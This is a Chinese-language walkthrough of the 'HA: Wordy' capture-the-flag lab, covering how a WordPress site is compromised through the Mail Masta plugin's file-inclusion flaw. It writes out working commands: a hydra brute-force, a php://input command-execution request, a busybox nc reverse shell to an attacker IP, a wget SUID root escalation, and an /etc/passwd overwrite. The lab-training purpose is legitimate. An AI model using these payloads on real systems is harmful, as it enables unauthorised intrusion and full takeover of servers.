HA: Wordy Walkthrough

Box Info

官网在这里:HA: Wordy

image-20250322192153885

The Hack

先进行端口扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 172.16.33.108
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 21:21 EDT
Nmap scan report for 172.16.33.108 (172.16.33.108)
Host is up (0.033s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http

看来目标主机只开放了 80 端口,进一步做应用版本发现

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p 80 -A -T4 172.16.33.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 21:22 EDT
Nmap scan report for 172.16.33.108 (172.16.33.108)
Host is up (0.033s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

80 开放的是 Apache httpd 服务,版本为 2.4.29 ,过高,漏洞较难利用,接下来尝试进行 WEB 目录扫描

dirsearch -u http://172.16.33.108/

发现 wp 目录和登陆界面,猜测是 wp 构建的网站,同时发现 info.php ,但内容仅为目标主机 IP

image-20250322114239464

访问 /wordpress/wp-login.php ,尝试输入账户名和密码,发现存在用户名枚举漏洞,存在 admin 账户

image-20250322114635271

image-20250322114713974

用户名确定,可以试试密码爆破

hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -t 4 172.16.33.108 http-post-form '/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F172.16.33.108%2Fwordpress%2Fwp-admin%2F&testcookie=1:F=is incorrect'

发送的参数可以在开发者工具中的 NetWork 中找到

image-20250322114916400

可惜,rockyou 没跑出来,说明密码十分复杂

image-20250322115026326

既然是 wp 构建的,使用 wpscan 扫扫看

wpscan --url http://172.16.33.108/wordpress --enumerate u,ap,at --disable-tls-checks

发现了一些目录:

image-20250322132718031

访问 readme ,只是一个下载引导页面

image-20250322132911433

再来看主题,为 twentysixteen Version: 2.0,提示似乎有点过时了

image-20250322133149081

去网上搜搜看对应版本是否有漏洞,可惜没有搜索到

再来看插件,分别是

mail-masta version 1.0
reflex-gallery Version: 3.1.3
site-editor Version: 1.1.1
slideshow-gallery Version: 1.4.6
wp-easycart-data (?)
wp-support-plus-responsive-ticket-system Version: 7.1.3
wp-symposium Version: 15.1

我们一个一个来,先是 mail-masta ,幸运的是,在 WordPress Plugin Mail Masta 1.0 - Local File Inclusion 页面能找到对应版本漏洞利用代码,而且通过 wpscan 的扫描我们得知,该 wp 服务的文件上传路径是默认的 /wp-content 目录,那么就可以直接利用代码

http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

成功

image-20250322140134547

看看能不能包含 apache 服务日志:

http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/apache2/sites-enabled/000-default.conf

可以包含,那么就尝试 apache 日志包含,可惜失败了,尝试通过伪协议执行命令

curl -X POST -d "<?php system('id'); ?>" "http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://input"

成功执行

image-20250322143747568

尝试反弹 shell

curl -X POST -d "<?php system('busybox nc 10.8.0.90 1234 -e /bin/bash'); ?>" "http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://input"

同时开启 nc 监听:

nc -nvlp 1234

反弹成功

image-20250322144039742

在 /home/raj 目录下找到第一个 flag

aHR0cHM6Ly93d3cuaGFja2luZ2FydGljbGVzLmlu

image-20250322172934353

接下来就是提权,在工作目录下的 /html 目录中,发现可疑文件,意思是需要 ZIP 来解决

image-20250322145304048

本机编写接收程序,将 zip 文件上传到宿主机上

from http.server import SimpleHTTPRequestHandler, HTTPServer

class UploadHandler(SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
with open("secret.zip", "wb") as f:
f.write(post_data)
self.send_response(200)
self.end_headers()

if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8000), UploadHandler)
server.serve_forever()

启动接受服务

python3 upload_server.py

在目标主机上执行:

wget --post-file=secret.zip --header="Content-Type: application/octet-stream" http://172.16.33.108:8000/

接收成功,解压时发现需要密码

image-20250322153224623

将密码哈希保存为字典,使用 john 破译

zip2john secret.zip > secret.txt  
john --wordlist=/usr/share/wordlists/rockyou.txt secret.txt

又没跑出密码,看来得在目标主机里找了(

image-20250322153600657

再来枚举其他信息,看看有什么文件具有 SUID 权限:

find / -perm -u=s -type f 2>/dev/null

看到了一个有趣的东西:

image-20250322181011381

尝试使用 wget 的 SUID 提权,由于需要写入文件,所以进入 tmp 目录

www-data@ubuntu:/var/www/html/wordpress$ cd /tmp
www-data@ubuntu:/tmp$ TF=$(mktemp)
www-data@ubuntu:/tmp$ chmod +x $TF
www-data@ubuntu:/tmp$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
www-data@ubuntu:/tmp$ wget --use-askpass=$TF 0

利用成功

image-20250322181324853

接下来就是进入 root 目录获得最终 flag

# cd /root
# ls -la
# cat proof.txt

image-20250322181504137

或者可以使用 cp 命令

将目标主机上的 /etc/passwd 文件内容拷贝至主机,生成已知的密码哈希(123)

┌──(kali㉿kali)-[~]
└─$ openssl passwd -1 123
$1$/l/LdaOy$E0kBkOBauSctDWdECVk9r.

在本地生成 passwd 文件,通过 goshs 上传至目标主机 tmp 目录,将上传的 passwd 拷贝覆盖原 /etc/passwd ,最后经过 su 提权

cd /tmp
wget http://10.8.0.90/passwd
cp passwd /etc/passwd
su # 输入密码 123

image-20250322202054503

当然,直接 wget 覆盖 /etc/passwd 也可以

wget http://10.8.0.90/passwd -O /etc/passwd

看来 secret.zip 是兔子洞,误导你的